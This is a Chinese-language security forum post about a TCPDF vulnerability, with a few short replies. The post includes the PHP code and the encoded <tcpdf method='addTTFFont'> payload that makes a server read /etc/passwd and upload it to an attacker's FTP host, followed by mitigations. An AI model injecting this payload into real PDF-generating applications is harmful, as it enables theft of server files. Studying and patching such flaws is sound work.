论坛风格切换
您好,欢迎光临本站!   登录 注册新用户
  • 2482阅读
  • 4回复

[其他]PDF生成器窃取WEB服务器上的文件 [复制链接]

上一主题 下一主题
 
发帖
1048
黑豆
618
威望
2921
贡献值
0
交易币
0
红豆
13
只看楼主 倒序阅读 0 发表于: 2015-03-31
TCPDF PDF生成器是当今最流行的用于创建PDF文档的PHP库之一,同时也是当今最热门的开源项目之一。它每天拥有数百万用户使用量,其载体一般为CMS程序或者其他WEB应用。然而,黑客利用TCPDF的一个漏洞,可以轻松从WEB服务器上窃取文件。
漏洞利用场景
1、Alice是一个网店的老板,她会发给客户一张PDF文档作为收据,上面写明了采购情况和买家信息。
2、这时,有个叫Chuck的攻击者注意到,Alice忘了在写入PDF文档之前,给“客户名字”这一栏的数据做安全过滤。
3、Chuck通过研究发现,他完全可以在PDF文档里订单的“客户名字”一栏做文章,填入构造的恶意payload(攻击负载)。在PDF文档生成时会执行恶意脚本,从而在Alice的网店服务器上窃取文件。
攻击流程
Chuck在“客户名字”所填的这个恶意Payload,它试图告诉Alice服务器的PDF生成器,希望在此处添加一个服务器本身所带的字体,最后将这个字体文件传到Chuck的FTP服务器上。
但是,PDF生成器在这里,并没有对这个所谓的“字体”文件和这个文件将要发送的地址做任何检查。通过这个漏洞,Chuck可以窃取服务器上PHP权限下任何可读的文件。


理解TCPDF
为了设计一个TCPDF模式的PDF,方法有很多。最常见的办法就是在里面创建一个简单的HTML页面,往TCPDF里面加入HTML代码。常见的HTML标签都会被解析,然后转换为PDF格式。比如table、image,以及header。
不过,还有一个特殊标签<tcpdf />默认也是被启用了的。这是一个被TCPDF类调用方法的特殊标签,该元素示例如下:
<tcpdf method="MethodFromTCPDFClass" params="EscapedParamData" />
如果这个HTML元素被传递给writeHTML,且这个TCPDF的方法“MethodFromTCPDFClass”有效,TCPDF会结合其他参数执行这个特殊方法。
换句话来说,如果一个用户把没有经过检查的数据传递给writeHTML,用户就可能偷偷调用运行TCPDF类的某种方法。TCPDF类的这些方法由此可能被黑客所利用。


利用字体加载的方法
TCPDF类有个方法名叫addTTFFont,文档上说明:“它可以转换字体,并将TrueType或者Type1的字体添加进字体包”。当然,这也可以被用于将服务器上的任意可读文件进行压缩,并发送到任意可写的地址,自然这地址也可以是黑客的远程服务器。
addTTFFont方法有着下述的关联参数:
$fontfile--服务器上需要提取的任意可写文件的路径。
$fonttype--黑客需要设置的TrueType
$outpath--文件输出的地址,这里可以填一个黑客的FTP地址。
想要生成一个tcpdf元素,可以使用下面的代码:
$params = TCPDF_STATIC::serializeTCPDFtagParameters(array('/etc/passwd','TrueType','',255,urldecode('ftp://user:pass@host/')));
生成结果如下:
<tcpdf method="addTTFFont" params="%5B%22%5C%2Fetc%5C%2Fpasswd%22%2C%22TrueType%22%2C%22%22%2C255%2C%22ftp%3A%5C%2F%5C%2Fuser%3Apass%40host%5C%2F%22%5D"/>
如果我们能用TCPDF将代码注入到一个生成的PDF文档里,服务器在生成解析时,会攫取本机/etc/passwd的内容,并将其上传到黑客的FTP服务器上。
TCPDF的安全
现在大家需要做的就是升级TCPDF到最新版本。当然咱们也不止这一个解决办法。针对这个漏洞我们完全可以:
在php.ini里,将allow_url_fopen设为Off
在config/tcpdf_config.php里,将K_TCPDF_CALLS_IN_HTML设为false

发帖
7561
黑豆
3
威望
9563
贡献值
0
交易币
0
红豆
15
只看该作者 2 发表于: 2015-05-22
好多转化软件是收费的呢
发帖
6
黑豆
9
威望
7
贡献值
0
交易币
0
红豆
0
只看该作者 3 发表于: 2015-06-10

发帖
7561
黑豆
3
威望
9563
贡献值
0
交易币
0
红豆
15
只看该作者 4 发表于: 2015-07-21
还是不错的帖子
快速回复
限100 字节
 
上一个 下一个